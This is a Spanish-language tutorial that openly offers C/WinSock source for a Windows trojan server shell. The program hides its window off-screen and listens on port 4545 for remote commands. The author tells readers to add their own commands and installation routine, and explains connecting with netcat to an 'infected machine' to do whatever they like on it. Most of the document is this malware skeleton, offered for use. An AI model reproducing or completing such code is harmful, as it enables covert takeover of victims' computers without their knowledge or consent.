Construiremos el shell de un troyano que nos permita tomar el control de una PC remota. El código incluye todo lo básico, dejándole a quien quiera usarlo sólo el trabajo de definir sus propios comandos y la tarea que debe realizar cada uno de ellos. También tendrá que definir su propio algoritmo de instalación. El código ejemplo se pone en escucha por el puerto 4545; no obstante, sería buena idea que definieras tu propio puerto. Bueno, pasemos a lo que nos interesa, los códigos:
#include <windows.h>
#include <winsock.h>
#pragma hdrstop
#pragma argsused
#define LOCAL_PORT 4545 //define el puerto en el que escuchará
#define WM_ACCEPTCONNECTION (WM_USER + 1)
#define WM_RECV (WM_USER + 2)
HWND hwndMain;
HINSTANCE hInst;
WSADATA g_Data;
SOCKET g_Socket;
void StartWinSock()
{
SOCKADDR_IN LocalAddr;
// inicia WinSock
if( WSAStartup(MAKEWORD( 1, 1 ), &g_Data ) != 0) {
ExitProcess(0);
}
// crea el socket
g_Socket = socket(AF_INET, SOCK_STREAM, 0);
if( INVALID_SOCKET == g_Socket ) {
ExitProcess(0);
}
memset(&LocalAddr, 0, sizeof(SOCKADDR_IN));
LocalAddr.sin_family = AF_INET;
LocalAddr.sin_port = htons( LOCAL_PORT );
LocalAddr.sin_addr.s_addr = INADDR_ANY;
// relaciona el socket con una dirección y un puerto
if( bind( g_Socket, (SOCKADDR*)&LocalAddr, sizeof(SOCKADDR_IN) ) == 0 ) {
// lo pone en escucha
if( listen( g_Socket, SOMAXCONN ) == 0 ) {
// usa notificación de mensajes para sockets no bloqueantes
if( SOCKET_ERROR == WSAAsyncSelect( g_Socket, hwndMain, WM_ACCEPTCONNECTION, FD_ACCEPT ) ) {
ExitProcess(0);
}
}
}
}
/*
** Este es el motor de comandos. Aquí es donde se procesarán los comandos
** que llegan desde el cliente.
*/
void CommandEngine(char *Command, unsigned int s)
{
/*
** Comando: "cmd1"
** Descripción: comando de prueba
*/
if ( !strcmp( Command, "cmd1" ) ) {
// aquí ponemos todo lo que hará al teclearse este comando
char szReply[50];
strcpy( szReply, "[Command 1 executed oK]\r\n\r\n" );
send(s, szReply, strlen( szReply ), MSG_OOB );
} else
/*
** Comando: "cmd2"
** Descripción: comando de prueba
*/
if ( !strcmp( Command, "cmd2" ) ) {
// aquí ponemos todo lo que hará al teclearse este comando
char szReply[50];
strcpy( szReply, "[Command 2 executed oK]\r\n\r\n" );
send(s, szReply, strlen( szReply ), MSG_OOB );
} else
/*
** Comando: "cmd3"
** Descripción: comando de prueba
*/
if ( !strcmp( Command, "cmd3" ) ) {
// aquí ponemos todo lo que hará al teclearse este comando
char szReply[50];
strcpy( szReply, "[Command 3 executed oK]\r\n\r\n" );
send(s, szReply, strlen( szReply ), MSG_OOB );
} else
/*
** Comando: "cmd4"
** Descripción: comando de prueba
*/
if ( !strcmp( Command, "cmd4" ) ) {
// aquí ponemos todo lo que hará al teclearse este comando
char szReply[50];
strcpy( szReply, "[Command 4 executed oK]\r\n\r\n" );
send(s, szReply, strlen( szReply ), MSG_OOB );
}
/*
** Si se llega hasta aquí es porque no se tecleó ningún comando válido, así que sería una buena idea mostrar la ayuda en este momento. Como no hay comandos reales definidos, sólo mostramos un mensaje de comando inválido.
*/
else {
char szReply[50];
strcpy( szReply, "[Not a valid command]\r\n\r\n" );
send(s, szReply, strlen( szReply ), MSG_OOB );
}
}
LRESULT CALLBACK WndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
static SOCKET ServerSocket;
SOCKADDR RemoteAddr;
int RemoteAddrSize;
char InBuffer[255];
int ReceivedBytes;
switch (uMsg) {
// conexión entrante
case WM_ACCEPTCONNECTION:
if( LOWORD(lParam) == FD_ACCEPT) {
char szWelcomeMessage[50];
RemoteAddrSize = sizeof(RemoteAddr);
ServerSocket = accept(g_Socket, &RemoteAddr, &RemoteAddrSize);
if(WSAAsyncSelect(ServerSocket, hwndMain, WM_RECV, FD_READ|FD_CLOSE) == SOCKET_ERROR)
ExitProcess(0);
// aquí defines tu mensaje de bienvenida al conectar
strcpy( szWelcomeMessage, "[This is a welcome message]\r\n"
"[Connected with Trojan Shell by h0aX]\r\n\r\n" );
send(ServerSocket, szWelcomeMessage, strlen( szWelcomeMessage ), MSG_OOB );
}
break;
case WM_RECV:
switch(LOWORD(lParam)) {
//recibiendo un comando
case FD_READ:
ReceivedBytes = recv(ServerSocket, InBuffer, 255, NULL);
InBuffer[ReceivedBytes-1] = 0;
SetWindowTextA(hwndMain,InBuffer);
CommandEngine( InBuffer, ServerSocket ); // lo envía al motor de comandos
break;
// se cerró la conexión en el cliente
// así que lo cerramos todo y reiniciamos el socket
case FD_CLOSE:
closesocket(ServerSocket);
closesocket(g_Socket);
WSACleanup();
StartWinSock();
break;
}
break;
case WM_DESTROY: {
closesocket(ServerSocket);
closesocket(g_Socket);
WSACleanup();
PostQuitMessage(0);
break;
}
}
return DefWindowProcA(hwnd,uMsg,wParam,lParam);
}
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
WNDCLASS wndclass;
char szClassName[] = "hXTrojanClass";
hInst = hInstance;
wndclass.style = CS_VREDRAW | CS_HREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIconA(NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursorA(NULL, IDC_ARROW);
wndclass.hbrBackground = GetSysColorBrush(COLOR_BTNFACE);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szClassName;
RegisterClassA(&wndclass);
hwndMain = CreateWindow(szClassName,"", WS_SYSMENU | WS_MINIMIZEBOX | WS_VISIBLE,
-10000 , -10000 , 290, 130,
NULL, NULL, hInstance, 0);
ShowWindow(hwndMain, SW_HIDE);
StartWinSock();
while (GetMessageA(&msg, NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
return msg.wParam;
}
Aclaro que en este código bien podría haberse usado sockets bloqueantes con notificaciones basadas en eventos; no obstante, he decidido usar sockets no bloqueantes con notificación basada en mensajes. Los mensajes serán procesados por una ventana que nunca se hará visible y tendrá una posición fuera del área visible de la pantalla. Prefiero usa sockets no bloqueantes, ya que tienen un mayor uso, pues no todos los programas carecen de interfaz gráfica.
El cliente:
Dada la simplicidad del troyano y que el único intercambio de datos será en modo texto, no consideré necesario hacerle un programa cliente para comunicarnos con el servidor. Podrías usar cualquier cliente que corriera sobre la línea de comandos; aún así, el telnet de Windows no es la mejor idea. El hecho es que ese programa envía la información inmediatamente cuando se teclea, en vez de enviar sólo cuando se presiona Enter. Con esto tenemos que al teclear con telnet una cadena sobre nuestro troyano, cada letra será reconocida como un comando distinto. En vez de telnet, les propongo una alternativa muchísimo más eficiente: netcat. Su binario sólo se lleva 60 Kb y puedes ponerlo en la carpeta de Windows y llamarlo cada vez que quieras como nc. El funcionamiento básico es idéntico al telnet (nc <host> <puerto>). Netcat, además de funcionar como cliente, también tiene funciones de servidor, scan de puertos en hosts remotos, etc. En la Web hay gran cantidad de información sobre este programa. Para la ayuda puedes teclear nc -h.
Linux trae el netcat en todas sus distribuciones. Con esto no quiero hacerle desprecio al telnet de Windows; en definitiva, todos usamos telnet hasta que descubrimos netcat.
Modo de uso:
Una vez compilado y ejecutado, abrimos una consola del sistema y tecleamos nc 192.168.1.5 4545, donde 192.168.1.5 es la máquina infectada y 4545 el puerto. Si al conectar nos muestra el mensaje de bienvenida que le definimos, entonces ya estamos dentro, listos para comenzar a teclear comandos y hacer de la máquina remota lo que queramos. Si no se conecta, chequea firewalls, si la IP remota es accesible, si el programa realmente está corriendo en el remoto, etc.
Espero que este código le sea de ayuda a todo el que le interese hacerse de su propio troyano. Con suerte de aquí alguien saca algo útil.
Para saber más…
Escrito por H0aX [hoax_ws@yahoo.es]
